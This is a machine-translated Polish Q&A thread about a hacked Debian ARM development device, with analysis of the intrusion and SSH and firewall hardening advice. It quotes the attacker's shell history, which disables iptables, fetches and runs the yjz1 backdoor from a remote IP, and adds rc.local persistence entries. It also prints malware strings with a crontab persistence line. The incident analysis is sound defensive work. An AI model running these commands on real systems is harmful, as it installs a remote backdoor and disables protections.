Czy właśnie zostałem zhakowany?

Zajmuję się tworzeniem produktu konsumenckiego, który powinien być podłączony do Internetu, tak jak się spodziewano, jest podłączony do Internetu, dzięki czemu mogę go odpowiednio rozwijać.

Wyszedłem na godzinę lub dwie, a kiedy wróciłem do swojego biura, zauważyłem dziwne polecenia napisane w terminalu.

Patrząc na plik dziennika Linux o nazwie auth.logWidzę następujące linie (wśród wielu innych):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

40.127.205.162Okazuje się, że adres IP jest własnością firmy Microsoft .

Oto kilka poleceń używanych podczas mojej nieobecności:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

I więcej:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Byłem całkowicie tego nieświadomy. Jak mogę odpowiednio zabezpieczyć mój produkt?

Chciałbym opublikować cały auth.logplik. W jaki sposób mogę to zrobić?

Ponadto yjz1pobrany plik wydaje się być trojanem Linux, a wszystko to wydaje się być zrobione przez jakąś grupę hakerów zgodnie z http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Czy powinienem zadzwonić do Microsoft i z nimi porozmawiać? Co powinienem zrobić?

EDYCJA 2 :

jest jeden dobry powód, dla którego ten post przyciąga tak wiele uwagi: udało ci się nagrać całą sesję na żywo intruza na komputerze. To bardzo różni się od naszych codziennych doświadczeń, w których zajmujemy się odkryciem konsekwencji jego działań i staramy się je naprawić. Tutaj widzimy go w pracy, widzącego, że ma on problemy z ustanowieniem backdoora, podąża śladami, pracuje gorączkowo (być może dlatego, że siedział przy twoim biurku, jak sugerowano powyżej, a może, moim zdaniem, bardziej prawdopodobne, ponieważ był niezdolny do uruchomienia złośliwego oprogramowania w systemie, przeczytaj poniżej) i spróbuj wdrożyć w pełni samodzielne instrumenty kontroli. Właśnie tego badacze bezpieczeństwa codziennie obserwują za pomocą pułapek na miód . Dla mnie jest to bardzo rzadka szansa i źródło rozrywki.

Na pewno zostałeś zhakowany. Dowody na to nie pochodzą z fragmentu wyświetlanego auth.logpliku, ponieważ zgłasza to nieudaną próbę zalogowania, występującą w krótkim okresie czasu (dwie sekundy). Zauważysz, że druga linia mówi Failed password, podczas gdy trzecia zgłasza pre-authrozłączenie: facet próbował i nie udało się.

Dowody przychodzi zamiast z zawartości dwóch plików http://222.186.30.209:65534/yjzi http://222.186.30.209:65534/yjz1które atakujący pobranych do systemu.

Witryna jest obecnie dostępna dla wszystkich, aby je pobrać, co zrobiłem. Najpierw filena nich natknąłem się, co pokazało:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Potem przeniosłem je na 64-bitową maszynę wirtualną Debiana, którą posiadam; badanie ich zawartości za pomocą stringspolecenia ujawniło wiele podejrzanych (odniesienie do różnych dobrze znanych ataków, poleceń, które należy zastąpić, skrypt, który był wyraźnie używany do utworzenia nowej usługi itd.).

Następnie utworzyłem skróty MD5 obu plików i podałem je do bazy danych skrótów Cymru, aby sprawdzić, czy są znanymi agentami złośliwego oprogramowania. Chociaż yjznie jest, yjz1jest, a Cymru zgłasza prawdopodobieństwo wykrycia przez oprogramowanie antywirusowe w wysokości 58%. Wskazuje również, że ten plik był ostatnio widziany jakieś trzy dni temu, więc jest dość nowy.

Uruchamianie clamscan (część clamavpakietu) na dwóch plikach, które uzyskałem:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

więc jesteśmy teraz pewni, że standardowe oprogramowanie Linux może to zidentyfikować.

Co powinieneś zrobić?

Choć raczej nowy, żaden system nie jest bardzo nowy, zobacz na przykład ten artykuł z XorDdos z stycznia 2015 r . Dlatego większość darmowych pakietów powinna móc je usunąć. Należy starać: clamav, rkhunter, chkrootkit. Googlowałem wokoło i widziałem, że twierdzą, że potrafią to zauważyć. Użyj ich, aby sprawdzić pracę poprzednika, ale po uruchomieniu tych trzech programów powinieneś być gotowy do pracy.

Jeśli chodzi o większe pytanie, what should you do to prevent future infectionsodpowiedź Czeladnika jest dobrym pierwszym krokiem. Pamiętaj tylko, że jest to ciągła walka, którą wszyscy (łącznie ze mną!) Moglibyśmy przegrać, nawet o tym nie wiedząc.

EDYCJA :

Na pytanie (pośrednie) Viktora Totha chciałbym dodać kilka komentarzy. Z pewnością prawdą jest, że intruz napotkał pewne trudności: pobiera dwa różne narzędzia hakerskie, kilkakrotnie zmienia ich uprawnienia, kilkakrotnie uruchamia je ponownie i wiele razy próbuje wyłączyć zaporę. Łatwo zgadnąć, co się dzieje: spodziewa się, że jego narzędzia hakerskie otworzą kanał komunikacyjny w kierunku jednego z zainfekowanych komputerów (patrz później), a gdy nie widzi, że ten nowy kanał wyskakuje na jego kontrolnym interfejsie GUI, obawia się hakowania narzędzie jest blokowane przez zaporę, więc powtarza procedurę instalacji. Zgadzam się z Viktorem Tothem, że ten konkretny etap jego działalności nie wydaje się przynosić oczekiwanych owoców, ale bardzo gorąco zachęcam aby nie lekceważyć zakresu szkód wyrządzonych komputerowi.

Podaję tutaj częściowy wynik strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Dostarcza to dowodów na manipulowanie usługami (wewnątrz /etc/init.di na zewnątrz /etc/rc.d), z crontabplikiem historii mysqli kilkoma plikami, w procktórych znajdują się linki do bash(co sugeruje, że została umieszczona niestandardowa, fałszywa wersja twojej powłoki). Następnie program generuje żądanie HTTP (do strony w języku chińskim,

 Accept-Language: zh-cn

co nadaje treść powyższemu komentarzowi Davida Schwartza), co może doprowadzić do jeszcze większego spustoszenia. W żądaniu pliki binarne ( Content-Type: application/x-www-form-urlencoded) należy pobrać na zaatakowany komputer (GET) i przesłać na komputer sterujący (POST). Nie udało się ustalić, co będzie pobrana do zaatakowanego komputera, ale ze względu na niewielki rozmiar zarówno yjzi yjz1(1.1MB i 600KB, repectively), mogę zaryzykować przypuszczenie, że większość plików potrzebnych płaszcz rootkita, czyli zmienionych wersje ls, netstat, ps, ifconfig, ..., zostanie pobrana w ten sposób. To by tłumaczyło gorączkowe próby atakującego, aby rozpocząć pobieranie.

Nie ma pewności, że powyższe wyczerpuje wszystkie możliwości: z pewnością brakuje nam części transkrypcji (między wierszami 457 i 481) i nie widzimy wylogowania; ponadto szczególnie niepokojące są linie 495–497,

cd /tmp;  ./yd_cd/make

które odnoszą się do pliku, którego nie widzieliśmy pobranego, a które może być kompilacją: jeśli tak, oznacza to, że atakujący (w końcu?) zrozumiał, na czym polegał problem z jego plikami wykonywalnymi i próbuje go naprawić, w którym to przypadku zaatakowany komputer odszedł na dobre. [W rzeczywistości dwie wersje złośliwego oprogramowania, które atakujący pobrał na zhakowaną maszynę (i ja na moją 64-bitową maszynę Debian VM), mają nieodpowiednią architekturę, x86, podczas gdy sama nazwa zaatakowanego komputera ujawnia fakt, że zajmował się architekturą zbrojeń].

Powodem, dla którego napisałem tę edycję, jest nakłanianie cię tak mocno, jak to możliwe, albo do przeczesania systemu profesjonalnym instrumentem, albo do ponownej instalacji od zera.

Nawiasem mówiąc, jeśli okaże się to przydatne dla nikogo, jest to lista 331 adresów IP, z którymi yjzpróbuje się połączyć. Ta lista jest tak duża (i prawdopodobnie powinna być jeszcze większa), że uważam, że to jest powód do manipulacji mysql. Lista dostarczona przez drugi backdoor jest identyczna, co, jak przypuszczam, jest powodem pozostawienia tak ważnej informacji na zewnątrz ( myślę, że atakujący nie chciał się starać przechowywać ich w formacie jądra, więc umieścił całą listę w pliku tekstowym, który prawdopodobnie jest wczytywany przez wszystkie jego backdoory, dla dowolnego systemu operacyjnego:

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Poniższy kod

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

z powyższej listy wynika, że 302 z 331 adresów znajduje się w Chinach kontynentalnych, pozostałe w Hongkongu, Mongolii i na Tajwanie. To stanowi dodatkowe poparcie dla twierdzenia Davida Schwartza, że ​​jest to głównie chiński bot ring.

EDYCJA 3

Na prośbę @ vaid (autor OP, przeczytaj swój komentarz poniżej) dodam komentarz na temat wzmocnienia bezpieczeństwa podstawowego systemu Linux (w przypadku systemu zapewniającego wiele usług jest to o wiele bardziej złożony temat). vaidstwierdza, że ​​wykonał następujące czynności:

1. Zainstaluj ponownie system

2. zmieniono hasło root na 16 znaków z mieszanymi małymi i dużymi literami oraz znakami i cyframi.

3. Zmieniłem nazwę użytkownika na 6-znakową długą nazwę użytkownika i zastosowałem to samo hasło, co w rootie

4. zmieniono port SSH na coś powyżej 5000

5. wyłączono logowanie roota SSH.

To dobrze (z wyjątkiem tego, że używam portu powyżej 10 000, ponieważ wiele przydatnych programów używa portów poniżej 10 000). Ale nie mogę wystarczająco podkreślić potrzeby używania kluczy kryptograficznych do logowania ssh zamiast haseł. Dam ci osobisty przykład. Na jednym z moich VPS nie byłem pewien, czy zmienić port ssh; Zostawiłem go o 22, ale do uwierzytelnienia użyłem kluczy kryptograficznych. Miałem setki prób włamań dziennie , żadna nie powiodła się. Kiedy zmęczony codziennym sprawdzaniem, że nikomu się nie udało, ostatecznie zmieniłem port na coś powyżej 10.000, próby włamania spadły do ​​zera. Pamiętaj, że nie jest tak, że hakerzy są głupi (nie są!), Po prostu polują na łatwiejszą zdobycz.

Łatwo jest aktywować klucz kryptograficzny za pomocą RSA jako algorytmu podpisu, patrz komentarz poniżej Jan Hudec (dzięki!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Teraz wystarczy skopiować plik id_rsana maszynę, z której chcesz się połączyć (w katalogu .ssh, również chmodedytuj do 700), a następnie wydać polecenie

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Gdy masz pewność, że to działa, edytuj na serwerze (= maszynę, z którą chcesz się połączyć) plik /etc/ssh/sshd_configi zmień wiersz

#PasswordAuthentication yes

do

PasswordAuthentication no

i ponownie uruchom sshusługę ( service ssh restartlub systemctl restart ssh, lub coś takiego, w zależności od dystrybucji).

To bardzo wytrzyma. W rzeczywistości, obecnie nie są znane żadne exploity przeciwko bieżącym wersjom openssh v2RSA i używanym przez openssh v2.

Wreszcie, aby naprawdę zablokować komputer, musisz skonfigurować zaporę (netfilter / iptables) w następujący sposób:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

To, 1) pozwala na połączenia ssh zarówno z sieci LAN, jak i WAN, 2) zezwala na wszystkie dane pochodzące z twoich żądań (na przykład podczas ładowania strony internetowej), 3) upuszcza wszystko inne na wejściu, 4) zezwala na wszystko wyjście i 5-6) pozwala na wszystko w interfejsie sprzężenia zwrotnego.

W miarę wzrostu potrzeb i otwierania kolejnych portów możesz to zrobić, dodając na górze listy reguły takie jak:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

aby na przykład umożliwić dostęp do przeglądarki internetowej.

Witamy w Internecie - gdzie każdy otwarty serwer SSH najprawdopodobniej zostanie sondowany, brutalnie przymusowy i obciążony nim będzie różne obelgi.

Aby rozpocząć, musisz całkowicie wyczyścić pamięć urządzenia. Wyobraź go, jeśli chcesz przekazać go do celów kryminalistycznych, ale instalacja Linuksa na nim jest teraz podejrzana.

Trochę zgadywania, ale

1. Masz brutalną siłę lub używasz wspólnego hasła. Jest to bezpieczeństwo ukryte, ale nie chcesz hasła do słownika ani konta root otwartego na SSH. Wyłącz dostęp root SSH, jeśli jest to opcja, lub przynajmniej zmień nazwę, aby musieli zgadnąć jedno i drugie. SSHing jako root jest okropną praktyką bezpieczeństwa. Jeśli musisz użyć roota, zaloguj się jako inny użytkownik i użyj przełącznika su lub sudo.

2. W zależności od produktu możesz w jakiś sposób zablokować dostęp SSH. Całkowite zablokowanie brzmi jak dobry pomysł i pozwala użytkownikom otworzyć go w razie potrzeby . W zależności od tego, jakie zasoby możesz oszczędzić, rozważ tylko dopuszczanie adresów IP we własnej podsieci lub pewnego rodzaju system ograniczający logowanie. Jeśli nie potrzebujesz go na produkcie końcowym, upewnij się, że jest wyłączony.

3. Użyj niestandardowego portu. Zabezpieczenia znów są niejasne, ale oznacza to, że atakujący musi celować w twój port.

4. Nigdy nie używaj domyślnego hasła. Najlepszym podejściem, jakie widziałem, jest losowe wygenerowanie hasła do określonego urządzenia i wysłanie go ze swoim produktem. Najlepszą praktyką jest uwierzytelnianie oparte na kluczach, ale nie mam pojęcia, jak podejdziesz do tego w przypadku produktu na rynku masowym.

Och, zdecydowanie zostałeś zhakowany. Wygląda na to, że ktoś był w stanie uzyskać poświadczenia root i próbował pobrać trojana do twojego systemu. MariusMatutiae przedstawił analizę ładunku.

Powstają dwa pytania: a) Czy napastnik odniósł sukces? I b) co możesz z tym zrobić?

Odpowiedź na pierwsze pytanie może być przecząca. Zauważ, że atakujący wielokrotnie próbuje pobrać i uruchomić ładunek, najwyraźniej bez powodzenia. Podejrzewam, że coś (SELinux, być może?) Stanęło mu na drodze.

JEDNAK: Osoba atakująca zmieniła również /etc/rc.d/rc.localplik, mając nadzieję, że po ponownym uruchomieniu systemu ładunek zostanie aktywowany. Jeśli nie uruchomiłeś jeszcze systemu, nie uruchamiaj go ponownie, dopóki nie usuniesz tych zmian /etc/rc.d/rc.local. Jeśli już go zrestartowałeś ... cóż, pecha.

Co możesz z tym zrobić: Najbezpieczniej jest wyczyścić system i zainstalować go od nowa. Ale nie zawsze może to być opcja. Znacznie mniej bezpieczną rzeczą jest dokładnie przeanalizować, co się wydarzyło, i wyczyść każdy jej ślad, jeśli możesz. Ponownie, jeśli jeszcze nie zrestartowałeś systemu, być może wystarczy, że wyczyścisz /etc/rc.d/rc.local, usuniesz wszystko, co pobiera atakujący, i na koniec zmień cholerne hasło!

Jeśli jednak osoba atakująca była już w stanie uruchomić ładunek, mogą wystąpić inne modyfikacje systemu, które mogą być trudne do wykrycia. Dlatego pełne czyszczenie jest naprawdę jedyną bezpieczną (i zalecaną) opcją. Jak wskazałeś, przedmiotowy sprzęt może być celem testowania / rozwoju, więc być może wycieranie go nie jest tak bolesne, jak w innych przypadkach.

Aktualizacja : Niezależnie od tego, co napisałem o możliwym odzyskaniu, pragnę powtórzyć bardzo silną rekomendację Marius Matutiae, aby nie lekceważyć potencjalnych szkód spowodowanych przez ten ładunek i zakresu, w jakim mógł on zagrozić systemowi docelowemu.

Mój sshd-honeypot również widział tego rodzaju atak. Pierwsze pobieranie z tego adresu URL rozpoczęło się 29.01.2016, 10:25:33 i ataki wciąż trwają. Ataki pochodzą / pochodziły z

103.30.4.212
111.68.6.170
118.193.228.169

Dane wejściowe od tych atakujących były następujące:

Serwis iptables zatrzymuje się
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Więc nie ma żadnych działań poza instalowaniem backdoora na później.

Wszyscy tutaj udzielali solidnych porad, ale dla jasności, twoimi priorytetami powinno być tworzenie kopii zapasowych i weryfikacja tego, czego naprawdę potrzebujesz z tego systemu, a następnie wycieranie go świeżą instalacją ze znanych, bezpiecznych mediów.

Przed podłączeniem nowo zainstalowanego hosta do Internetu zapoznaj się z następującymi pomysłami:

1. Utwórz nowego użytkownika innego niż root i zaloguj się jako ten użytkownik. Nigdy nie powinieneś logować się jako root, po prostu sudo (użytkownik zastępczy) w razie potrzeby.

2. Zainstaluj SE Linux, ustawienia konfiguracji umożliwiające obowiązkową kontrolę dostępu: https://wiki.debian.org/SELinux/Setup

3. Rozważ zaporę sprzętową między biurem / domem a Internetem. Używam MicroTik, który ma doskonałe wsparcie społeczności: http://routerboard.com/ .

Zakładając, że jesteś na osi czasu do ukończenia swojej płatnej pracy, przynajmniej wykonaj nr 1. # 3 jest szybki i tani, ale albo musisz poczekać na paczkę pocztą, albo pojechać do sklepu.

1. Czy debian-armhf to Twoja nazwa hosta? Czy używasz domyślnej instalacji z domyślnymi ustawieniami? Nie ma z tym problemu, ale nie należy zezwalać hostowi na bezpośrednią ekspozycję na Internet (tj. Przynajmniej nie chronioną przez modem).

2. Wygląda na to, że prawdziwy problem pochodzi z 222.186.30.209 (patrz http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Nie powinieneś uważać na adres IP Microsoftu. Adresy IP można mniej więcej sfałszować / sfałszować.

3. Typowym sposobem połączenia z Internetem jest przekazanie znanej listy portów z publicznego adresu IP (np. 8.8.8.8) do lokalnego (np. 192.168.1.12).

   • Na przykład nie przesyłaj wszystkich połączeń przychodzących z wersji 8.8.8.8 (publicznej) do 192.168.1.12 (lokalnej).

   • Przekaż tylko porty 22 i 25 (odpowiednio ssh i poczta przychodząca). Powinieneś oczywiście mieć również aktualne pakiety / biblioteki ssh i smtp .

4. Co dalej? Odłączyć hosta, a następnie zmienić hasło (na wszystkich komputerach związanych z organizacją), które są sztywno w skryptów powłoki (wstydź się!) W /etc/shadow.

Jak powiedzieli inni, jest całkiem jasne, że bezpieczeństwo twojego serwera zostało naruszone. Najbezpieczniej jest wyczyścić to urządzenie i zainstalować ponownie.

Aby odpowiedzieć na drugą część pytania, jeśli nie możesz użyć autoryzacji klucza publicznego, zalecam przynajmniej skonfigurowanie Fail2Ban i uruchomienie SSH na niestandardowym porcie. Wyłączam także dostęp root SSH.

Fail2Ban pomoże złagodzić ataki siłowe, zakazując adresów IP, które nie logują się określoną liczbę razy.

Ustawienie sshd na nasłuch na niestandardowym porcie przynajmniej pomoże nieco zmniejszyć widoczność twojego serwera SSH. Wyłączenie logowania użytkownika root również nieznacznie zmniejsza profil ataku. W /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Przy wyłączonym logowaniu do roota będziesz musiał albo przełączyć się na root supo podłączeniu, albo (bardziej korzystnie) użyć sudodo wykonania uprzywilejowanych poleceń.

Serwery SSH są stale atakowane w Internecie. Kilka rzeczy, które robisz:

1. Upewnij się, że używasz bardzo bezpiecznego losowego hasła do maszyn dostępnych w Internecie. Mam na myśli co najmniej 16 znaków i całkowicie losowy. Użyj menedżera haseł, abyś nie musiał go zapamiętywać. Jeśli możesz zapamiętać hasło, jest to zbyt proste.

2. Jeśli nie potrzebujesz SSH, wyłącz go. Jeśli go potrzebujesz, ale nie potrzebujesz go publicznie, uruchom go na wysokim, niestandardowym numerze portu. Takie postępowanie znacznie ograniczy próby włamań. Tak, dedykowany haker może wykonać skanowanie portów, ale automatyczne roboty nie mogą go znaleźć.

Fragment z dziennika uwierzytelnienia pokazuje nieudaną próbę. Jeśli jednak spojrzysz dalej, bez wątpienia zobaczysz udane logowanie. Używasz prostego hasła, więc bot może się zalogować.

